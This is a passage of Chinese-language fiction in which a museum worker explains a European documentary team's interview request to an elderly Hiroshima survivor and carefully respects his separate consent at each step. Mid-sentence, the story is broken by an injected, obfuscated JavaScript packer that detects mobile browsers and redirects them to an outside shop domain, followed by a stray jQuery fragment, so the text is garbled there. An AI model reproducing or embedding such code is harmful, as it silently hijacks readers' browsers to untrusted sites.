“胜一先生,还有一件事情。”
“还有文件?”
“这次没有。”
“那就好。”
沈晴笑了一下。
“开馆前一天,您还记得我说过有海外媒体来吗?”
“电视上看到了。”
“其中有一支欧洲的纪录片团队。”
胜一点头。
“他们在来广岛以前,就问过我们一个问题。”
“什么?”
“他们问,除了八月六日当天,新馆有没有保存被爆者之后的人生记录。”
胜一没有说话。
“后来在媒体预览的时候,他们又问了一次。”
沈晴继续说,“他们说,他们想知道一个人在经历战争以后,如果又活了五十年、六十年、八十年,那些时间代表的意义。”
胜一看着她。
“他们想拍这个?”
“对。”
“外国人?”
“是欧洲的团队。”
“哪个国家?”
“团队成员来自欧洲不同地区,这次项目本身也是面向欧洲播出的纪录片计划。”
胜一“哦”了一声。
沈晴没有把话说得太复杂。
“他们提到的内容包括后来怎样工作、建立家庭、变老,怎样和身体长期相处,也包括一些和战争没有直接关系的生活。”
胜一听到这里笑了一下。
“外国人也想听我去居酒屋?”
沈晴也笑了。
“他们真的提到了和朋友喝酒。”
“真的?”
“真的。”
胜一笑得更明显了。
“那倒是第一次。”
“还有旅行。”
“滑雪?”
“这个他们不知道。”
沈晴说,“我没有告诉他们您的事情。”
胜一的笑慢慢收了一点。
“一个字都没有?”
“没有名字,也没有您的具体经历。”
“为什么?”
“因为您同意接受我们的采访,不代表您同意接受他们的采访。”
胜一看了她几秒。
然后点点头。
“对。”
“他们问我们,如果以后有愿意讲这些经历的人,能不能帮忙转达采访意向。”
“你们怎么说?”
“可以转达。”
沈晴说,“但不会直接给他们联系方式。”
胜一靠在椅背上。
似乎在想。
沈晴没有继续劝。
过了一会儿,胜一问:
“他们会问八月六日吗?”
“可能会。”
“那不还是一样?”
“我不知道他们最后会怎么问。”
沈晴说,“所以如果您有兴趣,我们可以先让他们提供正式的采访企划、问题方向、拍摄方式和使用范围。您看完以后再决定。”
“不同意也可以?”
“当然。”
“答应了以后呢?”
“也要另外签媒体采访授权。”
沈晴说,“今天签的这份不能代替。”
胜一低头看了一眼刚刚签好的文件。
“又要签?”
“又要签。”
“你们真麻烦。”
“刚才不是说这样也好吗?”
胜一笑起来。
“是。”
他端起已经凉了一些的茶,喝了一口。
“他们什么时候走?”
“现在还在广岛。具体停留时间我需要再确认。”
“很急?”
“不急。”
沈晴说。
“如果来不及,这次不做也没关系。”
胜一看向她。
“你怎么什么都不急?”
“以前挺急的。”
“现在呢?”
沈晴想了一下。
“有些事情不能急。”
胜一没有再说话。
过了一会儿,他问:
“他们会把这个给外国年轻人看吗?”
“如果纪录片完成,可能会有海外观众。”
“年轻人也会看?”
“应该会。”
胜一点了点头。
又沉默了一会儿。
“那可以先看看。”
沈晴没有立刻理解。
“看什么?”
“你说的那个企划。”
胜一说,“他们想问什么,怎么拍,给我看看。”
“好。”
“看了以后我再决定。”
“当然。”
沈晴在自己的工作记录上写下:
已向本人转达欧洲纪录片团队采访意向。
本人同意接收采访企划及问题说明。
尚未同意采访。
她特意把最后一句写得很清楚。
胜一凑过来看。
“还要写尚未同意?”
“要。”
“万一我最后同意呢?”
“那时候再改。”
胜一笑了一声。
“行。”
沈晴把笔盖合上。
“那今天就到这里。”
胜一看了一眼时间。
“你真的不采访?”
“不采访。”
“都坐一个多小时了。”
“今天说好了只向您说明细节。”
“我还以为你最后会忍不住采访我。”
“藤井也这么觉得。”
“藤井是谁?”
“项目负责人。”
“她很了解你?”
“现在看来是。”
胜一笑起来。
沈晴把文件一份一份重新放回袋子。
正式签署的材料单独放好。
需要留给胜一的副本放在桌上。
“这份您留着。”
“这么多?”
“回头想改主意的时候,可以看。”
“还没开始就教我怎么反悔。”
“这个很重要。”
胜一把资料收起来。
“知道了。”
沈晴站起来。
胜一也准备起身。
“您不用送。”
“我又不是走不动。”
“我知道。”
他还是把她送到门口。
换鞋的时候,胜一忽然问:
“下次正式问的时候,真的从我想讲的地方开始?”
沈晴抬头。
“真的。”
“那我得想想。”
“不用特意准备。”
“不准备怎么讲?”
“想到哪里就从哪里。”
胜一扶着门框,想了一会儿。
“那可能不是八月六日。”
“没关系。”
“也可能跟原爆一点关系都没有。”
“也没关系。”
“比如居酒屋?”
沈晴笑起来。
“可以。”
“滑雪?”
“也可以。”
“我年轻时候喜欢过的人
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17961988|214261||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
呢?”
沈晴愣了一下。
胜一已经笑起来。
“这个不告诉你。”
“那就不讲。”
“你怎么不追问?”
“今天不是采访。”
“下次呢?”
沈晴想了一下。
“下次也由您决定。”
胜一看着她。
门外下午的光落进来。
他点了一下头。
“那行。”
“星期三见。”
沈晴下意识说完,才发现今天就是星期三。
胜一愣了一秒。
“你工作做傻了?”
沈晴也愣住。
然后笑出了声。
“对不起。下次见。”
“下次见。”
门关上以后,沈晴站在走廊里,还在笑。
她下楼。
走出公寓时已经快四点。
广岛下午的阳光很亮。
手机里有新馆的运营消息。
有学校团体的调整。
有海外媒体报道汇总。
也有纪录片团队联系人昨天留下的邮件。
沈晴没有立刻回复。
胜一只是同意看企划。
不是同意采访。
这两个意思之间,不能因为她希望事情继续往前走,就替他缩短距离。
她先给藤井发了一条工作消息:
胜一先生采访前说明完成。录音同意,影像暂不同意。个人信息公开范围已逐项确认并签署。正式采访时间另约。
然后又补了一条:
欧洲纪录片团队采访意向已转达。本人愿意先查看正式企划与问题说明,目前尚未同意媒体采访。
藤井很快回复:
收到。按这个顺序走。
沈晴收起手机。
她忽然想起几个月以前的自己。
那时候如果有人告诉她,一个八十八岁的被爆者愿意接受欧洲纪录片团队采访,她大概已经开始想:
这是一个怎样的传播机会。
海外媒体。
年轻观众。
战后八十年。
从广岛走向世界。
这些词甚至可以很快组成一个漂亮的企划标题。
现在她还是知道这些东西有传播价值。
只是她不再觉得“有价值”就意味着应该立刻拿来使用。
胜一的人生不是为了证明他们的项目正确。
也不是为了替新馆制造一个感人的海外故事。
他愿意说,他们才听。
他愿意让别人听,他们才把门打开。
至于他最后会不会面对那个来自欧洲的镜头——
那是下一次同意。
而不是今天这份签名后面理所当然的下一步。
沈晴往电车站走。
身后的公寓渐渐远了。
她忽然有点期待正式采访那一天。
不是因为她终于可以问八月六日以后发生了什么。
而是因为直到现在,她仍然不知道胜一真正想从哪里开始。
也许是工作。
也许是结婚。
也许是医院。
也许真的是一家东京的居酒屋。
甚至可能是一个他年轻时喜欢过、却刚才笑着说“不告诉你”的人。
这些都可以。
因为他们终于不是为了把一个人的人生重新整理成一份完整的“被爆者故事”。
他们只是准备坐下来。
听一个八十八岁的人,自己决定从哪里说起。